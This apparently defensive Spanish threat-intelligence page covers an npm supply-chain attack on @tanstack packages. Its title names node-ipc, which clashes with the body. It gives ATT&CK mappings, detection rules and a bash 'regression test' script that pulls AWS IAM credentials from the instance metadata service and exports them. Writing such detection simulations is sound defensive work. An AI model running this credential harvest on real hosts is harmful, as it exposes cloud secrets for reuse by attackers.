Ataque activo a la cadena de suministro compromete el paquete node-ipc
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Investigadores de Socket descubrieron un compromiso en la cadena de suministro que afecta a 84 paquetes de npm publicados bajo el @tanstack namespace. Las actualizaciones maliciosas introdujeron un archivo JavaScript altamente ofuscado diseñado para robar secretos relacionados con CI de GitHub Actions, AWS, HashiCorp Vault y entornos Kubernetes, luego usar esas credenciales para republicarse en npm. La carga útil también plantó ganchos de persistencia dentro de los directorios de configuración de Claude Code y VS Code. Los investigadores vincularon la actividad a la campaña de malware más amplia Mini Shai-Hulud de la cadena de suministro.
Investigación
La investigación identificó un archivo que se agregó recientemente, router_init.js, que utilizaba rotación de matriz de cadenas, una capa adicional de descodificación XOR y Base64, y dabaemonización para ocultar su comportamiento. El malware apuntaba a variables de entorno, servicios de metadatos en la nube y puntos finales de API asociados con GitHub, AWS, Vault y Kubernetes para recopilar credenciales. Se propagó abusando de la federación OIDC de GitHub Actions para obtener tokens de publicación npm e insertó una optionalDependency on @tanstack/setupmaliciosa. El tráfico de exfiltración se encaminó a través de la red de mensajería descentralizada de Session.
Mitigación
Las organizaciones afectadas por la campaña deben verificar los hashes de todos los contenidos del paquete @tanstack/* , rotar todas las credenciales de CI y en la nube, revocar las concesiones de federación OIDC expuestas, y eliminar archivos no autorizados de los directorios .claude and .vscode . Bloquear el tráfico saliente a filev2.getsession.org y hacer cumplir controles de integridad para los paquetes npm puede reducir aún más la exposición. Los flujos de trabajo de GitHub Actions también deben reforzarse fijando acciones de terceros y minimizando permisos de id-token. permisos.
Respuesta
Los defensores deben buscar presencia de router_init.js y nombres de archivos relacionados, monitorear procesos sospechosos generados y alertar sobre accesos a los puntos finales de metadatos en la nube identificados. Cualquier paquete comprometido debe ser puesto en cuarentena, eliminando los ganchos maliciosos y rotando todas las credenciales expuestas inmediatamente. Los equipos de seguridad también deben llevar a cabo una revisión completa de la actividad de GitHub Actions para el uso no autorizado de tokens y validar la procedencia de todos los paquetes npm publicados.
"graph TB %% Definiciones de Clase classDef technique fill:#e6f7ff classDef operator fill:#ffcc66 %% Nodos que representan cada técnica de ATT&CK a_initial_access["<b>Técnica</b> – <b>T1195.001 Compromiso de la Cadena de Suministro</b><br/><b>Descripción</b>: El adversario compromete una cadena de suministro de software (por ejemplo, paquete npm malicioso) para obtener acceso inicial."] class a_initial_access technique b_execution["<b>Técnica</b> – <b>T1129 Módulos Compartidos</b><br/><b>Descripción</b>: Módulo compartido malicioso (router_init.js) ejecutado automáticamente durante la instalación del paquete."] class b_execution technique c_persistence["<b>Técnica</b> – <b>T1176.002 Extensiones IDE</b><br/><b>Descripción</b>: Escribe archivos ocultos (.claude, .vscode) y ganchos para mantener la persistencia a través de extensiones IDE comprometidas."] class c_persistence technique d_def_evasion["<b>Técnica</b> – <b>T1027 Archivos Ofuscados o Información</b><br/><b>Descripción</b>: La carga útil está ofuscada para evitar la detección.<br/><b>Técnica</b> – <b>T1140 Deofuscar/Decodificar Archivos o Información</b><br/><b>Descripción</b>: Rutina de ejecución descifra el código antes de ejecutarlo."] class d_def_evasion technique e_cred_access["<b>Técnica</b> – <b>T1552.005 Credenciales No Aseguradas</b><br/><b>Descripción</b>: Lee la API de metadatos de instancias en la nube para obtener credenciales.<br/><b>Técnica</b> – <b>T1555.006 Gestión de Secretos de Nube</b><br/><b>Descripción</b>: Recupera secretos de los almacenes secretos de la nube."] class e_cred_access technique f_account_disc["<b>Técnica</b> – <b>T1087.004 Cuenta de Nube</b><br/><b>Descripción</b>: Enumera la información de la cuenta de nube para identificar recursos y privilegios."] class f_account_disc technique g_cred_use["<b>Técnica</b> – <b>T1078 Cuentas Válidas</b><br/><b>Descripción</b>: Usa el token OIDC extraído como una cuenta válida para publicar paquetes maliciosos adicionales."] class g_cred_use technique h_propagation["<b>Técnica</b> – <b>T1195.001 Compromiso de la Cadena de Suministro</b><br/><b>Descripción</b>: Reu2011utiliza el paquete malicioso a través de optionalDependencies y el gancho prepare npm para esparcirse a proyectos aguas abajo."] class h_propagation technique i_command_exec["<b>Técnica</b> – <b>T1059.009 Llamadas API de Nube</b><br/><b>Descripción</b>: Ejecuta comandos invocando las API de GitHub, AWS y Vault directamente desde el entorno comprometido."] class i_command_exec technique j_exfiltration["<b>Técnica</b> – <b>T1041 Exfiltración Sobre Canal C2</b><br/><b>Descripción</b>: Exfiltra datos sobre un canal de sesión peeru2011to-peer establecido entre nodos comprometidos."] class j_exfiltration technique k_remote_services["<b>Técnica</b> – <b>T1021.007 Servicios de Nube</b><br/><b>Descripción</b>: Aprovecha los commits de GitHub GraphQL como servicio remoto para mantener el comando y control."] class k_remote_services technique %% Conexiones de flujo secuencial a_initial_access –>|conduce_a| b_execution b_execution –>|conduce_a| c_persistence c_persistence –>|conduce_a| d_def_evasion d_def_evasion –>|conduce_a| e_cred_access e_cred_access –>|conduce_a| f_account_disc f_account_disc –>|conduce_a| g_cred_use g_cred_use –>|conduce_a| h_propagation h_propagation –>|conduce_a| i_command_exec i_command_exec –>|conduce_a| j_exfiltration j_exfiltration –>|conduce_a| k_remote_services "
Flujo de Ataque
Detecciones
Descarga de Ejecutable Sospechosa (vía proxy)
Ver
Archivo de Configuración Automática de Tareas de Vscode Posible Creado en Directorio Inusual [MACOS] (vía file_event)
Ver
Archivo de Configuración Automática de Tareas de Vscode Posible Creado en Directorio Inusual [LINUX] (vía file_event)
Ver
IOCs (HashSha256) para detectar: Ataque Activo a la Cadena de Suministro: Compromiso del Paquete node-ipc
Ver
IOCs (HashSha1) para detectar: Ataque Activo a la Cadena de Suministro: Compromiso del Paquete node-ipc
Ver
IOCs (HashMd5) para detectar: Ataque Activo a la Cadena de Suministro: Compromiso del Paquete node-ipc
Ver
Recolección de Credenciales de AWS a través de IMDSv2 y Endpoint de Metadatos de Tareas ECS [AWS Cloudtrail]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación Previa de Telemetría y Línea de Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.
-
Narrativa y Comandos del Ataque:
- Obtener un token de sesión IMDSv2 – el atacante emite una
PUTsolicitud al endpoint del token con un TTL de 21600 segundos. - Usar el token para consultar el nombre del rol IAM expuesto en
/latest/meta-data/iam/security-credentials/. - Recuperar las credenciales IAM temporales (AccessKeyId, SecretAccessKey, Token) para el perfil de instancia.
- Almacenar las credenciales localmente para usos posteriores (por ejemplo, para llamar a APIs de AWS, pivote o realizar ataques de pulverización de contraseñas).
Estos pasos generan tráfico HTTP a los URIs exactos listados en la regla Sigma que, cuando son capturados por los registros de flujo de VPC, deberían satisfacer la condición de detección.
- Obtener un token de sesión IMDSv2 – el atacante emite una
-
Script de Prueba de Regresión:
#!/usr/bin/env bash # ------------------------------------------------- # Script: aws_imds_credential_harvest.sh # Propósito: Simular la recolección de credenciales vía IMDSv2 / metadatos de ECS # ------------------------------------------------- set -euo pipefail # 1. Solicitar token IMDSv2 TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s) if [[ -z "$TOKEN" ]]; then echo "[!] Fallo al obtener el token IMDSv2" exit 1 fi echo "[*] Token IMDSv2 obtenido" # 2. Obtener el nombre del rol IAM asociado con la instancia ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/) if [[ -z "$ROLE_NAME" ]]; then echo "[!] No se pudo recuperar el nombre del rol IAM" exit 1 fi echo "[*] Rol IAM de la instancia: $ROLE_NAME" # 3. Recuperar credenciales temporales para el rol CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME) echo "[*] Credenciales recuperadas:" echo "$CREDS_JSON" | jq . # 4. (Opcional) Exportar como variables de entorno para uso posterior con AWS CLI export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId) export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey) export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token) echo "[*] Credenciales exportadas al entorno (solo para demostración)." # ------------------------------------------------- # Fin del script # ------------------------------------------------- -
Comandos de Limpieza:
# Desestablecer las variables de entorno que contienen credenciales temporales aunset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN # Eliminar archivos temporales (ninguno creado en este script) echo "[*] Limpieza completa."